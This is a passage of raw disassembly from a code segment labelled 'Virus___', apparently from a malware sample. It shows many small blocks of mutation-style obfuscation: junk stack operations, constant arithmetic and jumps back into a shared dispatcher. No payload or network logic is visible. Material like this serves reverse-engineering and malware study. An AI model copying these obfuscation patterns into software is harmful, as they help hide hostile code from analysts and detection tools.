loc_55E954:				; CODE XREF: Virus___:0054FE8Cj
		mov	edi, [esp]
		jmp	loc_55E925
; ---------------------------------------------------------------------------


loc_55E95C:				; CODE XREF: Virus___:0055ACBCj
		pop	edi
		jmp	loc_55BC6C
; ---------------------------------------------------------------------------


loc_55E962:				; CODE XREF: Virus___:0055B2C6j
		or	eax, esi
		pop	esi
		add	eax, 9257FA1Dh
		xor	ebx, eax
		pop	eax
		sub	eax, ebx
		jmp	loc_55BA5C
; ---------------------------------------------------------------------------


loc_55E974:				; CODE XREF: Virus___:005580A0j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		add	edx, edi
		mov	[edx], al
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55E992:				; CODE XREF: Virus___:005643B5j
		pop	esp
		mov	[esp], ecx
		mov	ecx, 48A87D3Eh
		push	ebp
		mov	ebp, 46DA591Dh
		shr	ebp, 1
		inc	ebp
		jmp	loc_54FC20
; ---------------------------------------------------------------------------


loc_55E9A9:				; CODE XREF: Virus___:00556887j
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	21380D9Ah
		pop	ebx
		push	edx
		mov	edx, 99634F8h
		shr	edx, 1
		xor	edx, 2AD70BC7h
		jmp	loc_556DB4
; ---------------------------------------------------------------------------


loc_55E9CC:				; CODE XREF: Virus___:005637CCj
		sub	edi, 4
		jmp	loc_55442A
; ---------------------------------------------------------------------------


loc_55E9D7:				; CODE XREF: Virus___:00560B1Bj
		mov	edx, esp
		jmp	loc_5603B3
; ---------------------------------------------------------------------------


loc_55E9DE:				; CODE XREF: Virus___:0055D87Bj
		mov	ah, bh
		pop	ebx
		shl	ah, 2
		shr	ah, 7
		and	ah, 10h
		xor	ah, 35h
		push	cx
		mov	ch, 0B4h
		sub	ah, ch
		mov	cx, [esp]
		add	esp, 2
		sub	bl, 0B9h
		sub	bl, ah
		add	bl, 0B9h
		pop	eax
		jmp	loc_54F917
; ---------------------------------------------------------------------------


loc_55EA0B:				; CODE XREF: Virus___:0055A582j
		push	ecx
		mov	ecx, 101086Bh
		push	eax
		mov	eax, 193973DBh
		xor	ecx, eax
		pop	eax
		push	eax
		mov	eax, 13146C1Ah
		or	ecx, eax
		pop	eax
		add	ecx, 0A8595C30h
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_559A39
; ---------------------------------------------------------------------------


loc_55EA39:				; CODE XREF: Virus___:00559E07j
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_55F8AB
; ---------------------------------------------------------------------------


loc_55EA4B:				; CODE XREF: Virus___:00558ED8j
		mov	edi, 4DD0121Bh
		shr	edi, 5
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55C1E3
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		jmp	loc_553398
; ---------------------------------------------------------------------------


loc_55EA6A:				; CODE XREF: Virus___:00562D18j
		add	esp, 4
		push	ecx
		mov	ecx, 6223410Dh
		push	ecx
		jmp	loc_55948F
; ---------------------------------------------------------------------------


loc_55EA79:				; CODE XREF: Virus___:00559037j
		xor	dword ptr [esp], 2A6821DCh
		pop	edi
		xor	edi, 2A6821DCh
		pop	edx
		jmp	loc_560D6D
; ---------------------------------------------------------------------------


loc_55EA8D:				; CODE XREF: Virus___:00560934j
		sub	al, 0A4h
		inc	al
		and	al, 0C8h
		xor	al, 0E9h
		or	cl, al
		pop	eax
		sub	cl, 25h
		mov	bl, cl
		pop	ecx
		xor	al, bl
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5615CE
; ---------------------------------------------------------------------------


loc_55EAB7:				; CODE XREF: Virus___:00551770j
		pop	esi
		jmp	loc_560939
; ---------------------------------------------------------------------------


loc_55EABD:				; CODE XREF: Virus___:00562299j
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55EAC6:				; CODE XREF: Virus___:0055105Dj
		sub	al, dl
		pop	edx
		add	al, dh
		push	ecx
		mov	ch, 0DBh
		jmp	loc_5613EA
; ---------------------------------------------------------------------------


loc_55EAD3:				; CODE XREF: Virus___:0055FC33j
		add	esp, 4
		push	ecx
		jmp	loc_561A99
; ---------------------------------------------------------------------------


loc_55EADF:				; CODE XREF: Virus___:00561492j
		mov	[esp], edx
		push	6B59h
		mov	[esp], ebx
		mov	bl, 20h
		jmp	loc_555755
; ---------------------------------------------------------------------------


loc_55EAF1:				; CODE XREF: Virus___:00563296j
		dec	ebx
		jmp	loc_562D5C
; ---------------------------------------------------------------------------


loc_55EAF7:				; CODE XREF: Virus___:00552AC4j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		mov	al, dl
		push	2392h
		mov	[esp], edx
		mov	dh, al
		push	ebx
		jmp	loc_5632B3
; ---------------------------------------------------------------------------


loc_55EB15:				; CODE XREF: Virus___:00563731j
		and	ecx, 693241E5h
		inc	ecx
		jmp	loc_55175C
; ---------------------------------------------------------------------------


loc_55EB21:				; CODE XREF: Virus___:0055451Aj
		mov	[esp], edx
		jmp	loc_557B76
; ---------------------------------------------------------------------------


loc_55EB29:				; CODE XREF: Virus___:00553393j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	880h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	4655h
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_553135
; ---------------------------------------------------------------------------


loc_55EB60:				; CODE XREF: Virus___:00563FCFj
		mov	[esp], ecx
		jmp	loc_5631B9
; ---------------------------------------------------------------------------


loc_55EB68:				; CODE XREF: Virus___:005615E7j
		mov	ebx, [esp]
		jmp	loc_55377C
; ---------------------------------------------------------------------------


loc_55EB70:				; CODE XREF: Virus___:0055DFF2j
		mov	[esp+2], bh
		mov	bx, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 2
		jmp	loc_559A6F
; ---------------------------------------------------------------------------


loc_55EB8C:				; CODE XREF: Virus___:0055BAA3j
		add	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		jmp	loc_5630F0
; ---------------------------------------------------------------------------


loc_55EB9D:				; CODE XREF: Virus___:00559CA6j
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		mov	esi, [esp]
		jmp	loc_55B80D
; ---------------------------------------------------------------------------


loc_55EBAF:				; CODE XREF: Virus___:00563BDDj
		sub	cl, 5Dh
		pop	edx
		and	al, cl
		pop	ecx
		push	6C08h
		mov	[esp], ebx
		push	0B1Fh
		mov	[esp], eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		push	5935h
		mov	[esp], ecx
		jmp	loc_557ACE
; ---------------------------------------------------------------------------


loc_55EBF0:				; CODE XREF: Virus___:0055C1E9j
		neg	ecx
		jmp	loc_5522EB
; ---------------------------------------------------------------------------


loc_55EBF7:				; CODE XREF: Virus___:0055DF70j
		xor	ah, bl
		pop	ebx
		xor	dh, ah
		pop	eax
		jmp	loc_55BFF8
; ---------------------------------------------------------------------------


loc_55EC02:				; CODE XREF: Virus___:00550AE5j
		pop	edx
		jmp	loc_550A7B
; ---------------------------------------------------------------------------


loc_55EC08:				; CODE XREF: Virus___:005602CFj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	edi
		push	ebp
		push	31E31788h
		jmp	loc_550146
; ---------------------------------------------------------------------------


loc_55EC2A:				; CODE XREF: Virus___:0055F39Ej
		pop	esi
		jmp	loc_55A64E
; ---------------------------------------------------------------------------


loc_55EC30:				; CODE XREF: Virus___:005586BFj
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, ch
		push	edx
		mov	dh, bh
		not	dh
		mov	bh, dh
		pop	edx
		mov	ch, bh
		jmp	loc_55D4FF
; ---------------------------------------------------------------------------


loc_55EC47:				; CODE XREF: Virus___:0055E754j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_558332
; ---------------------------------------------------------------------------


loc_55EC50:				; CODE XREF: Virus___:00557E66j
		push	ecx
		push	edx
		mov	edx, 348A060Ch
		mov	ecx, edx
		jmp	loc_55C008
; ---------------------------------------------------------------------------


loc_55EC5E:				; CODE XREF: Virus___:00557922j
		pop	edx
		add	ebp, ecx
		sub	ebp, 5EA14BE5h
		jmp	loc_558232
; ---------------------------------------------------------------------------


loc_55EC6C:				; CODE XREF: Virus___:0055E8FAj
		pop	edx
		jmp	loc_561321
; ---------------------------------------------------------------------------


loc_55EC72:				; CODE XREF: Virus___:00550A35j
		pop	ebp
		push	0C47h
		mov	[esp], eax
		push	ecx
		mov	ecx, 0A2B04ABh
		mov	eax, ecx
		jmp	loc_5511CC
; ---------------------------------------------------------------------------


loc_55EC88:				; CODE XREF: Virus___:005613BCj
		mov	[esp], eax
		mov	eax, 0F34AC451h
		push	ebp
		jmp	loc_55F4D4
; ---------------------------------------------------------------------------


loc_55EC96:				; CODE XREF: Virus___:005566BCj
		push	eax
		mov	eax, 7AE12CFFh
		sub	eax, 3A6D128Bh
		and	ebx, eax
		pop	eax
		push	esi
		jmp	loc_5576A7
; ---------------------------------------------------------------------------


loc_55ECAA:				; CODE XREF: Virus___:00562B81j
		mov	[esp], edi
		push	esp
		pop	edi
		push	edx
		mov	edx, 29F84597h
		and	edx, 15E0659Dh
		dec	edx
		xor	edx, 1E04590h
		jmp	loc_561890
; ---------------------------------------------------------------------------


loc_55ECC7:				; CODE XREF: Virus___:0055724Ej
		sub	edx, 7B605955h
		jmp	loc_552DD7
; ---------------------------------------------------------------------------


loc_55ECD2:				; CODE XREF: Virus___:00559D26j
		push	ebx
		push	eax
		jmp	loc_553CBE
; ---------------------------------------------------------------------------


loc_55ECD9:				; CODE XREF: Virus___:00550660j
		add	al, 1Eh
		add	al, bl
		sub	al, 1Eh
		sub	al, 76h
		push	6DB9h
		mov	[esp], ebx
		mov	bh, 5Eh
		xor	bh, 32h
		sub	bh, 7Fh
		sub	al, bh
		pop	ebx
		jmp	loc_55B76A
; ---------------------------------------------------------------------------


loc_55ECF9:				; CODE XREF: Virus___:005604B2j
		or	ecx, 220E72E4h
		add	ecx, 0E63A2F11h
		jmp	loc_558401
; ---------------------------------------------------------------------------


loc_55ED0A:				; CODE XREF: Virus___:0055A409j
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		jmp	loc_55FA4F
; ---------------------------------------------------------------------------


loc_55ED1F:				; CODE XREF: Virus___:0055E2B4j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55CD59
; ---------------------------------------------------------------------------


loc_55ED2D:				; CODE XREF: Virus___:00561FCEj
		shr	ecx, 8
		shl	ecx, 3
		neg	ecx
		add	ecx, 77C70A7Fh
		sub	ecx, 4550D024h
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebp, edi
		jmp	loc_55D0F2
; ---------------------------------------------------------------------------


loc_55ED53:				; CODE XREF: Virus___:00558DF0j
		push	ebx
		mov	ebx, 24BD5D72h
		xor	ecx, ebx
		jmp	loc_55B547
; ---------------------------------------------------------------------------


loc_55ED60:				; CODE XREF: Virus___:0055024Fj
		pop	esp
		mov	[esp], ecx
		mov	ecx, 6FD9075Eh
		dec	ecx
		inc	ecx
		add	ecx, 0F1113D35h
		xor	ecx, 2A591648h
		push	edx
		mov	edx, 0D0C0F0Ah
		add	ecx, edx
		pop	edx
		and	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_55F282
; ---------------------------------------------------------------------------


loc_55ED91:				; CODE XREF: Virus___:0055290Fj
		mov	eax, [esp]
		add	esp, 4
		push	4DFDh
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_564334
; ---------------------------------------------------------------------------


loc_55EDA9:				; CODE XREF: Virus___:00563314j
		pop	edi
		add	esp, 4
		not	si
		sub	si, 2A44h
		and	si, 8A1h
		push	dx
		push	ebx
		jmp	loc_5629A8
; ---------------------------------------------------------------------------


loc_55EDC2:				; CODE XREF: Virus___:00558F7Ej
		add	edx, 1AF72E35h
		jmp	loc_560B8A
; ---------------------------------------------------------------------------


loc_55EDCD:				; CODE XREF: Virus___:0055672Fj
		mov	[esp], esi
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55AB3B
; ---------------------------------------------------------------------------


loc_55EDD9:				; CODE XREF: Virus___:0055FB61j
		pop	dword ptr [esp]
		pop	esp
		push	77F0h
		jmp	loc_550377
; ---------------------------------------------------------------------------


loc_55EDE7:				; CODE XREF: Virus___:00564645j
		or	bl, 60h
		xor	bl, 2Fh
		jmp	loc_560948
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55347E
; ---------------------------------------------------------------------------


loc_55EE04:				; CODE XREF: Virus___:0055AA56j
		add	eax, 22830054h
		sub	eax, ebx
		sub	eax, 22830054h
		pop	ebx
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_553022
; ---------------------------------------------------------------------------


loc_55EE20:				; CODE XREF: Virus___:00556034j
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4E113E48h
		jmp	loc_55C38C
; ---------------------------------------------------------------------------


loc_55EE31:				; CODE XREF: Virus___:00559DEBj
		mov	bh, 6Ch
		push	ecx
		mov	ch, 73h
		sub	bh, 0D8h
		jmp	loc_5648BD
; ---------------------------------------------------------------------------


loc_55EE3E:				; CODE XREF: Virus___:00564A64j
		mov	[esp], ebx
		mov	edi, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_55E324
; ---------------------------------------------------------------------------


loc_55EE60:				; CODE XREF: Virus___:00555FD9j
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_550BCA
; ---------------------------------------------------------------------------


loc_55EE6C:				; CODE XREF: Virus___:00550D12j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5604C4
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55FE81
; ---------------------------------------------------------------------------


loc_55EEA0:				; CODE XREF: Virus___:005511B3j
		xor	ebp, ecx
		jmp	loc_55B3C1
; ---------------------------------------------------------------------------


loc_55EEA7:				; CODE XREF: Virus___:005608E2j
		add	ebp, 0E22AED61h
		mov	eax, ebp
		jmp	loc_559101
; ---------------------------------------------------------------------------


loc_55EEB4:				; CODE XREF: Virus___:0055B013j
		sub	ebp, eax
		jmp	loc_55D7D1
; ---------------------------------------------------------------------------


loc_55EEBB:				; CODE XREF: Virus___:00561F38j
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_558FEF
; ---------------------------------------------------------------------------


loc_55EEC6:				; CODE XREF: Virus___:00559E90j
		push	esi
		mov	si, 1B4h
		shr	si, 3
		shr	si, 7
		inc	si
		not	si
		dec	si
		xor	si, 0DF4Eh
		mov	cx, si
		pop	esi
		xor	di, cx
		pop	cx
		xor	ax, di
		mov	edi, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	small 77D6h
		mov	[esp], cx
		push	5B98h
		mov	[esp], ebx
		mov	bx, 5BA8h
		jmp	loc_550A66
; ---------------------------------------------------------------------------


loc_55EF18:				; CODE XREF: Virus___:0055909Aj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	eax, 54B068EEh
		add	eax, 4CEB387Fh
		add	eax, ebx
		jmp	loc_556C28
; ---------------------------------------------------------------------------


loc_55EF30:				; CODE XREF: Virus___:0055B8D0j
		mov	[esp], edx
		neg	dword ptr [esp]
		jmp	loc_557729
; ---------------------------------------------------------------------------


loc_55EF3B:				; CODE XREF: Virus___:00554D38j
		pop	ebp
		jmp	loc_55D534
; ---------------------------------------------------------------------------


loc_55EF41:				; CODE XREF: Virus___:00559D20j
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		jmp	loc_556873
; ---------------------------------------------------------------------------


loc_55EF4C:				; CODE XREF: Virus___:0056097Fj
		mov	edi, 5BD12F9Ah
		xor	ecx, edi
		pop	edi
		xor	ecx, 2E90736Eh
		jmp	loc_55F83A
; ---------------------------------------------------------------------------


loc_55EF5F:				; CODE XREF: Virus___:00558249j
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		or	[esp], al
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55EF75:				; CODE XREF: Virus___:005576F9j
		push	ecx
		mov	cl, 0F8h
		jmp	loc_5567C7
; ---------------------------------------------------------------------------


loc_55EF7D:				; CODE XREF: Virus___:005521A2j
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_54F8B7
; ---------------------------------------------------------------------------


loc_55EF88:				; CODE XREF: Virus___:00559317j
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 5B0E1C63h
		jmp	loc_551578
; ---------------------------------------------------------------------------


loc_55EF9B:				; CODE XREF: Virus___:00557637j
		xor	edx, esi
		pop	esi
		xor	edx, 1BA578C1h
		xor	ecx, edx
		pop	edx
		mov	esi, ecx
		pop	ecx
		add	eax, 6C2121C4h
		sub	eax, esi
		sub	eax, 6C2121C4h
		pop	esi
		add	ebx, eax
		pop	eax
		xor	ebx, [esp]
		jmp	loc_56145B
; ---------------------------------------------------------------------------


loc_55EFC2:				; CODE XREF: Virus___:0055E5A8j
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55A802
; ---------------------------------------------------------------------------


loc_55EFD0:				; CODE XREF: Virus___:0056091Dj
		mov	[esp], edx
		jmp	loc_56298B
; ---------------------------------------------------------------------------


loc_55EFD8:				; CODE XREF: Virus___:00560B08j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_561597
; ---------------------------------------------------------------------------


loc_55EFE6:				; CODE XREF: Virus___:0055D42Dj
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	34ADh
		mov	[esp], edi
		mov	edi, 270F36C0h
		shl	edi, 5
		shl	edi, 6
		xor	edi, 79B60004h
		add	eax, edi
		jmp	loc_5548F0
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55F01F:				; CODE XREF: Virus___:0055F9FDj
		push	eax
		push	29F60E21h
		pop	eax
		and	eax, 2315628Eh
		add	eax, 0BE6BDD7Ch
		mov	ebp, eax
		jmp	loc_55CB9F
; ---------------------------------------------------------------------------


loc_55F037:				; CODE XREF: Virus___:0055FE82j
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 5A72E59h
		or	ebx, 428F74B9h
		sub	ebx, 47AF7EF5h
		add	esi, ebx
		pop	ebx
		add	esi, 4
		jmp	loc_5607A1
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_562E8B
; ---------------------------------------------------------------------------


loc_55F067:				; CODE XREF: Virus___:00554245j
		add	esp, 4
		add	edi, ecx
		jmp	loc_556623
; ---------------------------------------------------------------------------


loc_55F074:				; CODE XREF: Virus___:0055C4A1j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_553D4F
; ---------------------------------------------------------------------------


loc_55F088:				; CODE XREF: Virus___:00559BE5j
		mov	esi, [esp]
		add	esp, 4
		pop	ebp
		add	edx, esi
		jmp	loc_555EBF
; ---------------------------------------------------------------------------


loc_55F099:				; CODE XREF: Virus___:00552794j
		sub	edi, 2
		jmp	loc_55B399
; ---------------------------------------------------------------------------


loc_55F0A1:				; CODE XREF: Virus___:00550B6Cj
		push	dword ptr [esp]
		jmp	loc_558211
; ---------------------------------------------------------------------------


loc_55F0A9:				; CODE XREF: Virus___:00550960j
		add	ebx, 4
		jmp	loc_55BF5D
; ---------------------------------------------------------------------------


loc_55F0B4:				; CODE XREF: Virus___:00555DABj
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		jmp	loc_55C417
; ---------------------------------------------------------------------------


loc_55F0C0:				; CODE XREF: Virus___:00553A7Cj
		mov	eax, 89D135Dh
		push	eax
		dec	dword ptr [esp]
		not	dword ptr [esp]
		pop	eax
		or	eax, 770E2F41h
		shl	eax, 8
		push	ebp
		mov	ebp, 319C5A47h
		inc	ebp
		not	ebp
		shr	ebp, 4
		xor	ebp, 1E5B6A40h
		sub	eax, ebp
		pop	ebp
		add	eax, 0A3CD6D1Ch
		add	edi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebp
		sub	esp, 4
		jmp	loc_55E09C
; ---------------------------------------------------------------------------


loc_55F101:				; CODE XREF: Virus___:00552129j
		mov	bh, 70h
		add	cl, bh
		jmp	loc_55A2AF
; ---------------------------------------------------------------------------


loc_55F10A:				; CODE XREF: Virus___:00561748j
		mov	ebp, ebx
		pop	ebx
		jmp	loc_558F3A
; ---------------------------------------------------------------------------


loc_55F112:				; CODE XREF: Virus___:0055B730j
		push	edx
		mov	edx, 17E818D5h
		and	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56362C
; ---------------------------------------------------------------------------


loc_55F128:				; CODE XREF: Virus___:0055BA3Bj
		xor	ecx, [esp]
		pop	esp
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55F136:				; CODE XREF: Virus___:00555D75j
		sub	ax, bx
		pop	ebx
		pop	cx
		jmp	loc_5530EC
; ---------------------------------------------------------------------------


loc_55F141:				; CODE XREF: Virus___:00557E99j
		mov	[esp], esi
		mov	esi, 67DD35DAh
		jmp	loc_56289E
; ---------------------------------------------------------------------------


loc_55F14E:				; CODE XREF: Virus___:00563B0Cj
		mov	[esp], ebx
		push	3EDA6BCFh
		mov	ebx, [esp]
		push	ebx
		jmp	loc_5583EC
; ---------------------------------------------------------------------------


loc_55F15F:				; CODE XREF: Virus___:00561EF2j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_554B7F
; ---------------------------------------------------------------------------


loc_55F16D:				; CODE XREF: Virus___:00557514j
		pop	eax
		push	ecx
		mov	ecx, 1
		jmp	loc_5566C1
; ---------------------------------------------------------------------------


loc_55F179:				; CODE XREF: Virus___:005523D3j
		sub	edx, 566F63B2h
		add	edx, esi
		jmp	loc_551528
; ---------------------------------------------------------------------------


loc_55F186:				; CODE XREF: Virus___:0055ADCDj
		mov	ebx, ebp
		pop	ebp
		jmp	loc_54FB6B
; ---------------------------------------------------------------------------


loc_55F18E:				; CODE XREF: Virus___:0056378Ej
		push	esi
		mov	esi, 0C303865h
		add	eax, 99E56DAh
		jmp	loc_56229E
; ---------------------------------------------------------------------------


loc_55F19E:				; CODE XREF: Virus___:005567ADj
		shl	edx, 3
		not	edx
		shr	edx, 4
		add	edx, 45484308h
		push	edi
		mov	edi, 727113D1h
		add	eax, edi
		jmp	loc_563994
; ---------------------------------------------------------------------------


loc_55F1B9:				; CODE XREF: Virus___:00557B35j
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55BE36
; ---------------------------------------------------------------------------


loc_55F1C4:				; CODE XREF: Virus___:005621BFj
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55C274
; ---------------------------------------------------------------------------


loc_55F1D3:				; CODE XREF: Virus___:005537D3j
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		jmp	loc_55AE97
; ---------------------------------------------------------------------------


loc_55F1ED:				; CODE XREF: Virus___:0055E292j
		push	6D496DCDh
		jmp	loc_553C36
; ---------------------------------------------------------------------------


loc_55F1F7:				; CODE XREF: Virus___:00559C69j
		not	byte ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55493C
; ---------------------------------------------------------------------------


loc_55F205:				; CODE XREF: Virus___:0055A84Ej
		add	esp, 4
		xor	esi, [esp]
		jmp	loc_550263
; ---------------------------------------------------------------------------


loc_55F213:				; CODE XREF: Virus___:00556305j
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		push	7A8Ah
		jmp	loc_557A70
; ---------------------------------------------------------------------------


loc_55F224:				; CODE XREF: Virus___:00557C2Ej
		sub	ebp, 535A6326h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	527h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55D192
; ---------------------------------------------------------------------------


loc_55F252:				; CODE XREF: Virus___:00559ADCj
		pop	edx
		pop	ecx
		mov	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_55A035
		push	6CAEh
		jmp	loc_55630A
; ---------------------------------------------------------------------------


loc_55F275:				; CODE XREF: Virus___:00555541j
		push	414Fh
		mov	[esp], esi
		jmp	loc_55A9D1
; ---------------------------------------------------------------------------


loc_55F282:				; CODE XREF: Virus___:0055ED8Cj
		mov	eax, 0F480DDBh
		xor	edx, eax
		jmp	loc_55F887
; ---------------------------------------------------------------------------


loc_55F28E:				; CODE XREF: Virus___:00561E52j
		push	edx
		mov	dl, 0D2h
		add	bl, 64h
		add	bl, dl
		sub	bl, 64h
		pop	edx
		add	bl, ah
		sub	bl, 0D2h
		jmp	loc_5581A9
; ---------------------------------------------------------------------------


loc_55F2A4:				; CODE XREF: Virus___:0055AF8Ej
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_553887
; ---------------------------------------------------------------------------


loc_55F2B8:				; CODE XREF: Virus___:0055DCCFj
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5518EA
; ---------------------------------------------------------------------------


loc_55F2C3:				; CODE XREF: Virus___:00554C81j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55C409
; ---------------------------------------------------------------------------


loc_55F2D1:				; CODE XREF: Virus___:00561612j
		push	eax
		xor	dword ptr [esp], 175614C8h
		pop	ecx
		xor	ecx, 175614C8h
		pop	eax
		shr	ecx, 1
		push	62A8h
		mov	[esp], edi
		push	edx
		mov	edx, 11FC7EDCh
		jmp	loc_55DDDD
; ---------------------------------------------------------------------------


loc_55F2F6:				; CODE XREF: Virus___:0055DEFBj
		add	esp, 4
		not	ebp
		xor	edx, ebp
		xor	ebp, edx
		xor	edx, ebp
		dec	edx
		xor	edx, 8807B910h
		mov	eax, edx
		pop	edx
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55F313:				; CODE XREF: Virus___:00550E71j
		pop	edi
		sub	edi, 7CD4182Ah
		jmp	loc_558CE7
; ---------------------------------------------------------------------------


loc_55F31F:				; CODE XREF: Virus___:0055A3C6j
		add	ch, dh
		jmp	loc_55528D
; ---------------------------------------------------------------------------


loc_55F326:				; CODE XREF: Virus___:00552D97j
		dec	byte ptr [esp+1]
		pop	ecx
		push	edx
		jmp	loc_550702
; ---------------------------------------------------------------------------


loc_55F331:				; CODE XREF: Virus___:0055E088j
		pop	eax
		shl	esi, 6
		sub	esi, 4C711D97h
		push	5CB2h
		jmp	loc_55B150
; ---------------------------------------------------------------------------


loc_55F345:				; CODE XREF: Virus___:0055C003j
		pop	edx
		jmp	loc_55950F
; ---------------------------------------------------------------------------


loc_55F34B:				; CODE XREF: Virus___:00562EE4j
		mov	[esp], ecx
		mov	cl, 0C0h
		xor	cl, 66h
		mov	al, cl
		pop	ecx
		sub	al, bh
		pop	ebx
		xchg	dl, al
		neg	dl
		xchg	dl, al
		jmp	loc_560426
; ---------------------------------------------------------------------------


loc_55F364:				; CODE XREF: Virus___:00556BC3j
		mov	[esp], ecx
		mov	ecx, 775A776Ch
		jmp	loc_554574
; ---------------------------------------------------------------------------


loc_55F371:				; CODE XREF: Virus___:005619CEj
		add	esp, 4
		mov	eax, 139189Bh
		sub	eax, 264C55A9h
		sub	eax, 7D0E0A27h
		sub	eax, ebx
		jmp	loc_554FAE
; ---------------------------------------------------------------------------


loc_55F38D:				; CODE XREF: Virus___:00559FCDj
		add	eax, 4
		jmp	loc_55ACC1
; ---------------------------------------------------------------------------


loc_55F397:				; CODE XREF: Virus___:0056117Aj
		mov	esi, 799F7E3Bh
		xor	eax, esi
		jmp	loc_55EC2A
; ---------------------------------------------------------------------------


loc_55F3A3:				; CODE XREF: Virus___:00552059j
		push	ebx
		xor	dword ptr [esp], 34952BBDh
		pop	eax
		xor	eax, 34952BBDh
		pop	ebx
		push	esi
		mov	esi, 382304D9h
		inc	esi
		not	esi
		not	esi
		jmp	loc_560C36
; ---------------------------------------------------------------------------


loc_55F3C2:				; CODE XREF: Virus___:00558EB3j
		sub	eax, 12E6688h
		or	eax, 46754CFCh
		jmp	loc_54F9F8
; ---------------------------------------------------------------------------


